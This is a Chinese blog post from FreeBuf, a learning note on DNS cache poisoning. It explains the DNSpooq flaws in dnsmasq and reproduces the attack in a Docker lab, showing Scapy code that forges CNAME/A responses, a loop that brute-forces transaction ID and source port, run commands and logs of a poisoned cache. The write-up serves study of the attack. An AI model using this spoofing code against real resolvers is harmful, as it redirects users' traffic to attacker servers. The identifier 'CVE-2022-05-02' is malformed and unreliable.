freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DNS学习笔记— 缓存投毒
2022-06-15 10:53:12
所属地 北京

前言

最近一篇名为《uClibc DNS曝安全漏洞,致使全球数百万物联网设备遭受影响》的报道进入了我们的视线,目前被追踪为 CVE-2022-05-02和ICS-VU-638779。之前也听说过kaminsky 攻击,感觉DNS欺骗这种攻击手法一旦可利用,会造成很大的影响,所以决定学习一番。

1时间线

在互联网上简单搜索相关资料后,发现kaminsky 攻击和DNSpooq攻击的资料较多,通过阅读DNSpooq-Technical-WP,得知了近年来有关DNS欺骗攻击的研究。

2008年, Kaminsky attack,强烈推荐小白看知乎的这篇《一次出人意料而名留青史的DNS投毒攻击》来入门和了解Kaminsky attack。

2017年,google公布了多个dnsmasq漏洞

2020年,分片攻击,该攻击假设从递归解析器发送的数据包的 IPID 是可预测的,这种情况很容易集中解决,并且并非所有递归解析器都属于这种情况,包括流行的解析器。此外,要使 IPID 预测成功,攻击者必须控制 LAN 上的机器。这个和其他限制使得碎片整理攻击难以在对 Internet 开放的 dnsmasq 实例上执行。这篇文章也进行了分析

2020年,SAD DNS,通过侧信道猜测使用利用 ICMP“端口不可达”数据包和 ICMP 全局速率限制功能的侧通道成功击败源端口随机化。这种攻击允许 DNS 缓存中毒,并且本质上是操作系统中的一个缺陷,而不是任何 DNS 软件

2020年,dnsmasq 的漏洞 (CVE-2020-25681-CVE-2020-25687)

2021年5月2日,uClibc DNS曝安全漏洞

综上,决定先搞清楚JSOF公司发现的DNSpooq。JSOF公司公布的信息中,列出了一些影响厂商,只是潜在的影响,并不是确认这7个洞一定会影响。

dnsmasq 的软件相关的七个漏洞统称为 DNSpooq,大致分为两类

DNS缓存中毒CVE-2020-25686、CVE-2020-25684、CVE-2020-25685

缓冲区溢出CVE-2020-25687、CVE-2020-25683、CVE-2020-25682、CVE-2020-25681

2 缓存投毒原理

DNS缓存投毒又称DNS欺骗

是一种通过查找并利用DNS系统中存在的漏洞

将流量从合法服务器引导至虚假服务器上的攻击方式

3 DNS基本知识

3.1DNS基础

DNS主要是负责把域名解析为IP

传统的DNS解析主要涉及Stub Resolver(存根解析器)、Recursive Resolver(递归解析器)和Authoritative Resolver(权威域名解析器)

权威域名解析器能够从自己的数据满足查询,而不需要引用其他来源,即能够给出DNS查询请求的权威应答

递归解析器则是通过询问其他域名服务器获取答案,递归解析器最后能够权威域名解析器得到查询响应

根据DNS协议的初始标准,当域名需要解析时,DNS客户端向递归解析器发送查询请求,递归解析器会从权威域名解析获取答案,然后将结果返回给客户端。

1655261708_62a94a0c110bb17e8b815.png!small?1655261709037

图片来源:https://zhuanlan.zhihu.com/p/383254776

简单点来讲

DNS服务器分为本地DNS服务器和权威DNS服务器

我们的电脑或者手机都会设置有DNS服务器的地址(通常被自动配置而无需手工配置),这个是本地DNS服务器。

(其中114.114.114.114(国内移动、电信和联通 通用的DNS服务器),8.8.8.8(Google DNS服务器)这种公用DNS服务器也叫本地DNS服务器)

当浏览器拿到 http://www.baidu.com需要解析时,就会问本地DNS服务器,是否知道IP地址是多少

本地DNS服务器如果知道就会直接回复,如果不知道,就会上网询问,一层一层询问,直到得到正确的IP地址。

当本地DNS服务器得到正确答案后,就会记录到DNS缓存中。只要缓存不过期,就会无条件信任并直接跳转

3.2 DNS数据报文

DNS是通过UDP协议发送数据,数据格式大致如下:

[IP报头[UDP报头[DNS数据报文]]]

DNS报文的数据格式如下

DNS报文:|QID|问题区|应答区|权威区|附加区|

其中:

QID:表示查询ID,用于匹配查询报文和响应报文的

问题区:主要是所查询的问题(可以是一个或多个)

应答区:查询到问题的答案(可以是一条或多条,可以是A记录也可以是CNAME记录或NS记录)

权威区:这里主要是记录权威DNS的NS记录(可以是一条或多条)

附加区:这里存放附加的一些记录。比如在给出权威NS记录时(NS记录中没有IP),会把它的A记录放在这里(为的是防止陷入死循环)

本地DNS服务器每次查询发送的QID都是随机的

因为DNS报文是通过UDP协议发送的,所以这里是为了方便将查询和响应的内容匹配在一起

同时,对于IP不对的、UDP源端口不对的,格式不对的、QID不对的,域名不对的,应答不对的,以及其他各种莫名其妙的包,都会被本地DNS服务器抛弃

最后

查询报文,只是填写QID和问题区,后面几个区不用填写内容。

响应报文,会填写QID(和对应查询包中的QID一致)、问题区(和对应查询包中的问题一致),还会填写后面几个区:应答区、权威区(也即填写权威DNS的区域,)、附加区。

4局域网实现

首先,我们选择研究的漏洞是DNSpooq

主要是因为该漏洞相对比较新,受影响设备比较广

同时在Kaminsky漏洞的基础上,进行了优化,可以覆盖已有缓存

参考项目:https://github.com/knqyf263/dnspooq

1655261737_62a94a290b182decaca48.png!small?1655261738203

借用项目作者的图说一下原理

首先先开启3个容器,分别是attack(攻击机器),forwarder(DNS转发器),cache server(DNS服务器)

1. 攻击机器向转发器发送大量查询报文

2. 转发器向服务器查询解析域名

3. 攻击机器伪装成服务器,向转发器回复构造后的响应报文,并实现投毒

这里的问题有2个,第一是如何才能伪装成服务器,第二是怎么构造响应报文进行投毒

4.1 如何匹配正确的QID和源端口号

为了进行DNS缓存中毒,需要两个数据:

  • QID

  • UDP源端口(需要注意,53是DNS协议端口,并非此处提到的源端口)

在上文中提到,DNS服务器是通过QID来匹配查询报文和响应报文的,而且我们要在服务器正确响应之前发送

并且,每次发送查询报文,QID都会不一样,QID字段是16位,所以一共需要爆破2^16次

而UDP源端口号,指的是每次数据发送的端口号,在2008年以前是固定的,在发布了Kaminsky漏洞后,源端口也开始随机

所以也需要爆破2^16次

所以一共需要爆破的次数是2^32次,

每次最多同时发送150个包

假设在100M的网络上发送90字节的数据包,每秒大约可以发送145635个

最后得出结论,大约需要2^32/150/145635=196.6秒

4.2 如何通过构造报文进行投毒

先看代码

res = Ether() / \
IP(src="10.10.0.4", dst="10.10.0.2") / \
      UDP(sport=53, dport=0) / \
      DNS(id=0, qr=1, ra=1, qd=qd,
          an=DNSRR(rrname="example.com", ttl=900, rdata="google.com", type="CNAME", rclass="IN") /
             DNSRR(rrname="google.com", ttl=900, rdata="169.254.169.254", type="A", rclass="IN"))
dns_layer = req[DNS]
udp_layer = req[UDP]

逻辑很简单,查询包问的是http://example.com(不存在)的ip是多少

响应包回答的是,http://example.com 也叫 http://google.comhttp://google.com的IP地址是 169.254.169.254

所以就成功的把 http://google.com的缓存覆盖成 169.254.169.254

同时,由于应答区最多可存10条数据,所以一次最多投毒10条

4.3 构建环境

攻击逻辑清楚后,直接搭建环境进行攻击

git clone https://github.com/knqyf263/dnspooq

cd dnspooq


docker-compose up -d

开启三个命令行

1. 进入attack容器,执行exp脚本

$ docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds

2. 进入forwarder容器查看日志

$ docker-compose logs -f forwarder
...
forwarder_1  | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1  | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1  | dnsmasq[1]: cached example.com is
forwarder_1  | dnsmasq[1]: cached google.com is 169.254.169.254

1655261772_62a94a4c8933f3465069f.png!small?1655261775352

1655261791_62a94a5f22c1a20007733.png!small?1655261794433

3. 进入cache容器查看日志

$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1      | Sniffing...
cache_1      | Source port: 46816, TXID: 16476, Query: b'example.com.'
cache_1      | Source port: 16718, TXID: 54280, Query: b'example.com.'
...
cache_1      | Source port: 46816, TXID: 56240, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 24160, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 18189, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 40361, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 13100, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 47303, Query: b'example.com.'

1655261813_62a94a75111de462818be.png!small?1655261815421

通过EXP脚本,我们可以看到,每65535次,就会查询一下http://google.com的IP是多少

如果查到了就返回结果

这里缺少了一步验证,如果查到http://google.com的IP地址是169.254.169.254才算投毒成功

或者把投毒的域名换成不存在的域名也可以

for txid, sport in candidates:
# Update TXID and UDP dst port
    patch(dns_frame, pseudo_hdr, txid, sport)
    s2.send(dns_frame)


    n_pkts += 1
    if sport == 65535:
        res = sr1(verify, verbose=0, iface="eth0", timeout=0.01)
        if res is not None and res.haslayer(DNSRR):
            print(f"Poisoned: {res[DNSRR].rrname} => {res[DNSRR].rdata}")
            break


end_time = time.time()
print(f"sent {n_pkts} responses in {end_time - start_time:.3f} seconds")

这里可以看到,http://google.com的缓存地址已经被投毒成功

共计爆破15482640次,用时540秒(网速问题)

1655261842_62a94a9203e126d79faaa.png!small?1655261846516

5外网实现

在容器中实现成功,我们打算在实际环境中继续实验

分别搭建三台机器,对应上面三个容器

但是却失败了,通过日志也发现了一些异常

通过查找资料,我们找到了问题的关键

是因为在外网环境中,攻击机器向转发器发送查询包后,转发器并不会直接询问服务器,而是会先通过路由器的DNS服务
也就是我们的公用DNS服务(114.114.114.114),这里叫做上游DNS服务

当查询不到结果时,上游DNS服务就会给出2秒超时

所以我们的实际攻击时间只有2秒

所以在局域网中的攻击方式就行不通

6思考

值得一提的是,作者在文章中表示可以通过减小熵等方式,降低要匹配的次数,最终能实现4秒内完成攻击。也就意味着在外网平均每2次攻击就能生效,但并没有披露相关细节。

单看此漏洞,只是通过爆破的方式,实现在局域网内的攻击,非常鸡肋。但如果通过技术手段,能够减小爆破次数,或者提高爆破的效率,就完全是另一种效果。

7 参考链接

https://zhuanlan.zhihu.com/p/92899876

https://www.wangan.com/p/7fy7f672ed7c4ec7

https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf

https://knqyf263.hatenablog.com

# 信息技术 # 华云安
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录